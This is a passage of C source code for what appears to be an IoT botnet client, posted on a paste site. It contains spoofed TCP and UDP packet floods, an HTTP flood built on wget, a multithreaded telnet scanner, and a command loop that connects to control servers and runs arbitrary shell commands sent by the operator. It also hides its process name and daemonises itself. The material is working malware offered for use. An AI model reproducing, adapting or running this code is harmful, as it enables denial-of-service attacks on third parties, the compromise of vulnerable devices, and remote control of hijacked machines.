  1429.         tcph->window = rand_cmwc();
  1430.         tcph->check = 0;
  1431.         tcph->urg_ptr = 0;
  1432.         tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1433.         tcph->check = tcpcsum(iph, tcph);
  1434.  
  1435.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1436.  
  1437.         int end = time(NULL) + timeEnd;
  1438.         register unsigned int i = 0;
  1439.         while(1)
  1440.         {
  1441.                 sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1442.  
  1443.                 iph->saddr = htonl( getRandomIP(netmask) );
  1444.                 iph->id = rand_cmwc();
  1445.                 tcph->seq = rand_cmwc();
  1446.                 tcph->source = rand_cmwc();
  1447.                 tcph->check = 0;
  1448.                 tcph->check = tcpcsum(iph, tcph);
  1449.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1450.  
  1451.                 if(i == pollRegister)
  1452.                 {
  1453.                         if(time(NULL) > end) break;
  1454.                         i = 0;
  1455.                         continue;
  1456.                 }
  1457.                 i++;
  1458.         }
  1459. }
  1460.  
  1461. /*
  1462. ╦ ╦╔╦╗╔╦╗╔═╗  ╔═╗┌┬┐┌┬┐┌─┐┌─┐┬┌─
  1463. ╠═╣ ║  ║ ╠═╝  ╠═╣ │  │ ├─┤│  ├┴┐
  1464. ╩ ╩ ╩  ╩ ╩    ╩ ╩ ┴  ┴ ┴ ┴└─┘┴ ┴
  1465. */            
  1466.                                                    
  1467. void sendHTTP(unsigned char *url, int end_time)
  1468. {
  1469.     int end = time(NULL) + end_time;
  1470.     FILE *pf;
  1471.     char command[80];
  1472.     sprintf(command, "wget -s -U \"\" ");
  1473.     strcat(command, url);
  1474.     strcat(command, " > /dev/null ");
  1475.  
  1476.     pf = popen(command,"r");
  1477.    
  1478.     while(end > time(NULL))
  1479.     {
  1480.         system(command);
  1481.     }
  1482.    
  1483. }
  1484.  
  1485. //   _____  __    ___                _
  1486. //   \_   \/__\  / __\   /\/\   __ _(_)_ __
  1487. //    / /\/ \// / /     /    \ / _` | | '_ \
  1488. // /\/ /_/ _  \/ /___  / /\/\ \ (_| | | | | |
  1489. // \____/\/ \_/\____/  \/    \/\__,_|_|_| |_|
  1490.  
  1491. void processCmd(int argc, unsigned char *argv[])
  1492. {
  1493.     int x;
  1494.         if(!strcmp(argv[0], "PING"))
  1495.         {
  1496.                 sockprintf(mainCommSock, "PONG!");
  1497.                 return;
  1498.         }
  1499.  
  1500.         if(!strcmp(argv[0], "GETLOCALIP"))
  1501.         {
  1502.                 sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
  1503.                 return;
  1504.         }
  1505.  
  1506.         if(!strcmp(argv[0], "SCANNER"))
  1507.         {
  1508.                 if(argc != 2)
  1509.                 {
  1510.                         sockprintf(mainCommSock, "SCANNER ON | OFF");
  1511.                         return;
  1512.                 }
  1513.  
  1514.                 if(!strcmp(argv[1], "OFF"))
  1515.                 {
  1516.                         if(scanPid == 0) return;
  1517.                         kill(scanPid, 9);
  1518.                         scanPid = 0;
  1519.                 }
  1520.  
  1521.                 if(!strcmp(argv[1], "ON"))
  1522.                 {      
  1523.                         int threads = 16;
  1524.                         pthread_t thread[threads];
  1525.                         int i;
  1526.                        
  1527.                         if(scanPid != 0) return;
  1528.                         uint32_t parent;
  1529.                         parent = fork();
  1530.                        
  1531.                         if (parent > 0) { scanPid = parent; return;}
  1532.                         else if(parent == -1) return;
  1533.                        
  1534.                         for(i = 0;i<threads;i++){
  1535.                             pthread_create(&thread, NULL, &TelnetScan, (void *) NULL);
  1536.                         }
  1537.                        
  1538.                         TelnetScan(1);
  1539.                         _exit(0);
  1540.                 }
  1541.         }
  1542.  
  1543.         if(!strcmp(argv[0], "UDP"))
  1544.         {
  1545.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  1546.                 {
  1547.                         //sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");
  1548.                         return;
  1549.                 }
  1550.  
  1551.                 unsigned char *ip = argv[1];
  1552.                 int port = atoi(argv[2]);
  1553.                 int time = atoi(argv[3]);
  1554.                 int spoofed = atoi(argv[4]);
  1555.                 int packetsize = atoi(argv[5]);
  1556.                 int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  1557.  
  1558.                 if(strstr(ip, ",") != NULL)
  1559.                 {
  1560.                         unsigned char *hi = strtok(ip, ",");
  1561.                         while(hi != NULL)
  1562.                         {
  1563.                                 if(!listFork())
  1564.                                 {
  1565.                                         sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  1566.                                         _exit(0);
  1567.                                 }
  1568.                                 hi = strtok(NULL, ",");
  1569.                         }
  1570.                 } else {
  1571.                         if (listFork()) { return; }
  1572.  
  1573.                         sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  1574.                         _exit(0);
  1575.                 }
  1576.         }
  1577.  
  1578.         if(!strcmp(argv[0], "TCP"))
  1579.         {
  1580.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  1581.                 {
  1582.                         //sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  1583.                         return;
  1584.                 }
  1585.  
  1586.                 unsigned char *ip = argv[1];
  1587.                 int port = atoi(argv[2]);
  1588.                 int time = atoi(argv[3]);
  1589.                 int spoofed = atoi(argv[4]);
  1590.                 unsigned char *flags = argv[5];
  1591.  
  1592.                 int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  1593.                 int psize = argc > 6 ? atoi(argv[6]) : 0;
  1594.  
  1595.                 if(strstr(ip, ",") != NULL)
  1596.                 {
  1597.                         unsigned char *hi = strtok(ip, ",");
  1598.                         while(hi != NULL)
  1599.                         {
  1600.                                 if(!listFork())
  1601.                                 {
  1602.                                         sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  1603.                                         _exit(0);
  1604.                                 }
  1605.                                 hi = strtok(NULL, ",");
  1606.                         }
  1607.                 } else {
  1608.                         if (listFork()) { return; }
  1609.  
  1610.                         sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  1611.                         _exit(0);
  1612.                 }
  1613.         }
  1614.        
  1615.        
  1616. if(!strcmp(argv[0], "HTTP"))
  1617. {
  1618.     if(argc < 3 || atoi(argv[2]) < 1)
  1619.     {
  1620.         //sockprintf(mainCommSock, "HTTP <url> <time>");
  1621.         return;
  1622.     }
  1623.    
  1624.     unsigned char *ip = argv[1];
  1625.     int time = atoi(argv[2]);
  1626.    
  1627.     if(strstr(ip, ",") != NULL)
  1628.     {
  1629. //        sockprintf(mainCommSock, "HTTP Flooding %s for %d seconds.", ip, time);
  1630.         unsigned char *hi = strtok(ip, ",");
  1631.         while(hi != NULL)
  1632.         {
  1633.             if(!listFork())
  1634.             {
  1635.                 sendHTTP(ip, time);
  1636.                 close(mainCommSock);
  1637.                 _exit(0);
  1638.             }
  1639.             hi = strtok(NULL, ",");
  1640.         }
  1641.         } else {
  1642.         if (listFork()) { return; }
  1643.        
  1644. //        sockprintf(mainCommSock, "HTTP Flooding %s for %d seconds.", ip, time);
  1645.         sendHTTP(ip, time);
  1646.         close(mainCommSock);
  1647.        
  1648.         _exit(0);
  1649.     }
  1650. }
  1651.  
  1652.     if(!strcmp(argv[0], "KILLATTK"))
  1653.         {
  1654.                 int killed = 0;
  1655.                 unsigned long i;
  1656.                 for (i = 0; i < numpids; i++) {
  1657.                         if (pids[i] != 0 && pids[i] != getpid()) {
  1658.                                 kill(pids[i], 9);
  1659.                                 killed++;
  1660.                         }
  1661.                 }
  1662.  
  1663.                 if(killed > 0)
  1664.                 {
  1665.                         //sockprintf(mainCommSock, "Killed %d.", killed);
  1666.                 } else {
  1667.                         //sockprintf(mainCommSock, "None Killed.");
  1668.                 }
  1669.         }
  1670.  
  1671.         if(!strcmp(argv[0], "LOLNOGTFO"))
  1672.         {
  1673.                 exit(0);
  1674.         }
  1675. }
  1676.  
  1677. int initConnection()
  1678. {
  1679.         unsigned char server[4096];
  1680.         memset(server, 0, 4096);
  1681.         if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat
  1682.         if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  1683.         else currentServer++;
  1684.  
  1685.         strcpy(server, commServer[currentServer]);
  1686.         int port = 443;
  1687.         if(strchr(server, ':') != NULL)
  1688.         {
  1689.                 port = atoi(strchr(server, ':') + 1);
  1690.                 *((unsigned char *)(strchr(server, ':'))) = 0x0;
  1691.         }
  1692.  
  1693.         mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  1694.  
  1695.         if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  1696.  
  1697.         return 0;
  1698. }
  1699.  
  1700. int getOurIP()
  1701. {
  1702.         int sock = socket(AF_INET, SOCK_DGRAM, 0);
  1703.         if(sock == -1) return 0;
  1704.  
  1705.         struct sockaddr_in serv;
  1706.         memset(&serv, 0, sizeof(serv));
  1707.         serv.sin_family = AF_INET;
  1708.         serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  1709.         serv.sin_port = htons(53);
  1710.  
  1711.         int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  1712.         if(err == -1) return 0;
  1713.  
  1714.         struct sockaddr_in name;
  1715.         socklen_t namelen = sizeof(name);
  1716.         err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  1717.         if(err == -1) return 0;
  1718.  
  1719.         ourIP.s_addr = name.sin_addr.s_addr;
  1720.  
  1721.         int cmdline = open("/proc/net/route", O_RDONLY);
  1722.         char linebuf[4096];
  1723.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  1724.         {
  1725.                 if(strstr(linebuf, "\t00000000\t") != NULL)
  1726.                 {
  1727.                         unsigned char *pos = linebuf;
  1728.                         while(*pos != '\t') pos++;
  1729.                         *pos = 0;
  1730.                         break;
  1731.                 }
  1732.                 memset(linebuf, 0, 4096);
  1733.         }
  1734.         close(cmdline);
  1735.  
  1736.         if(*linebuf)
  1737.         {
  1738.                 int i;
  1739.                 struct ifreq ifr;
  1740.                 strcpy(ifr.ifr_name, linebuf);
  1741.                 ioctl(sock, SIOCGIFHWADDR, &ifr);
  1742.                 for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  1743.         }
  1744.  
  1745.         close(sock);
  1746. }
  1747.  
  1748. char *getBuild()
  1749. {
  1750.     #ifdef MIPS_BUILD
  1751.     return "MIPS";
  1752.     #elif MIPSEL_BUILD
  1753.     return "MIPSEL";
  1754.     #elif X86_BUILD
  1755.     return "X86";
  1756.     #elif ARM_BUILD
  1757.     return "ARM";
  1758.     #elif PPC_BUILD
  1759.     return "POWERPC";
  1760.     #else
  1761.     return "ZEKROM";
  1762.     #endif
  1763. }
  1764.  
  1765. int main(int argc, unsigned char *argv[])
  1766. {
  1767.         char *mynameis = "";
  1768.         if(SERVER_LIST_SIZE <= 0) return 0;
  1769.         printf("BUILD %s\n", getBuild());
  1770.         strncpy(argv[0],"",strlen(argv[0]));
  1771.         argv[0] = "";
  1772.         prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  1773.         srand(time(NULL) ^ getpid());
  1774.         init_rand(time(NULL) ^ getpid());
  1775.         pid_t pid1;
  1776.         pid_t pid2;
  1777.         int status;
  1778.  
  1779.         getOurIP();
  1780.  
  1781.         if (pid1 = fork()) {
  1782.                         waitpid(pid1, &status, 0);
  1783.                         exit(0);
  1784.         } else if (!pid1) {
  1785.                         if (pid2 = fork()) {
  1786.                                         exit(0);
  1787.                         } else if (!pid2) {
  1788.                         } else {
  1789.                                         //zprintf("fork failed\n");
  1790.                         }
  1791.         } else {
  1792.                         //zprintf("fork failed\n");
  1793.         }
  1794.  
  1795.         setsid();
  1796.         chdir("/");
  1797.  
  1798.         signal(SIGPIPE, SIG_IGN);
  1799.  
  1800.         while(1)
  1801.         {
  1802.                 if(initConnection()) { sleep(5); continue; }
  1803.  
  1804.         sockprintf(mainCommSock, "BUILD %s", getBuild());
  1805.  
  1806.                 char commBuf[4096];
  1807.                 int got = 0;
  1808.                 int i = 0;
  1809.                 while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  1810.                 {
  1811.                         for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  1812.                                 unsigned int *newpids, on;
  1813.                                 for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  1814.                                 pids[on - 1] = 0;
  1815.                                 numpids--;
  1816.                                 newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  1817.                                 for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  1818.                                 free(pids);
  1819.                                 pids = newpids;
  1820.                         }
  1821.  
  1822.                         commBuf[got] = 0x00;
  1823.  
  1824.                         trim(commBuf);
  1825.  
  1826.                         if(strstr(commBuf, "PING") == commBuf)
  1827.                         {
  1828.                                 sockprintf(mainCommSock, "PONG");
  1829.                                 continue;
  1830.                         }
  1831.  
  1832.                         if(strstr(commBuf, "DUP") == commBuf) exit(0);
  1833.  
  1834.                         unsigned char *message = commBuf;
  1835.  
  1836.                         if(*message == '!')
  1837.                         {
  1838.                                 unsigned char *nickMask = message + 1;
  1839.                                 while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  1840.                                 if(*nickMask == 0x00) continue;
  1841.                                 *(nickMask) = 0x00;
  1842.                                 nickMask = message + 1;
  1843.  
  1844.                                 message = message + strlen(nickMask) + 2;
  1845.                                 while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  1846.  
  1847.                                 unsigned char *command = message;
  1848.                                 while(*message != ' ' && *message != 0x00) message++;
  1849.                                 *message = 0x00;
  1850.                                 message++;
  1851.  
  1852.                                 unsigned char *tmpcommand = command;
  1853.                                 while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  1854.  
  1855.                                 if(strcmp(command, "SH") == 0)
  1856.                                 {
  1857.                                         unsigned char buf[1024];
  1858.                                         int command;
  1859.                                         if (listFork()) continue;
  1860.                                         memset(buf, 0, 1024);
  1861.                                         szprintf(buf, "%s 2>&1", message);
  1862.                                         command = fdpopen(buf, "r");
  1863.                                         while(fdgets(buf, 1024, command) != NULL)
  1864.                                         {
  1865.                                                 trim(buf);
  1866. //                                                sockprintf(mainCommSock, "%s", buf);
  1867.                                                 memset(buf, 0, 1024);
  1868.                                                 sleep(1);
  1869.                                         }
  1870.                                         fdpclose(command);
  1871.                                         exit(0);
  1872.                                 }
  1873.  
  1874.                                 unsigned char *params[10];
  1875.                                 int paramsCount = 1;
  1876.                                 unsigned char *pch = strtok(message, " ");
  1877.                                 params[0] = command;
  1878.  
  1879.                                 while(pch)
  1880.                                 {
  1881.                                         if(*pch != '\n')
  1882.                                         {
  1883.                                                 params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  1884.                                                 memset(params[paramsCount], 0, strlen(pch) + 1);
  1885.                                                 strcpy(params[paramsCount], pch);
  1886.                                                 paramsCount++;
  1887.                                         }
  1888.                                         pch = strtok(NULL, " ");
  1889.                                 }
  1890.  
  1891.                                 processCmd(paramsCount, params);
  1892.  
  1893.                                 if(paramsCount > 1)
  1894.                                 {
  1895.                                         int q = 1;
  1896.                                         for(q = 1; q < paramsCount; q++)
  1897.                                         {
  1898.                                                 free(params[q]);
  1899.                                         }
  1900.                                 }
  1901.                         }
  1902.                 }
  1903.         }
  1904.  
  1905.         return 0;
  1906. }
Advertisement
Add Comment
Please, Sign In to add comment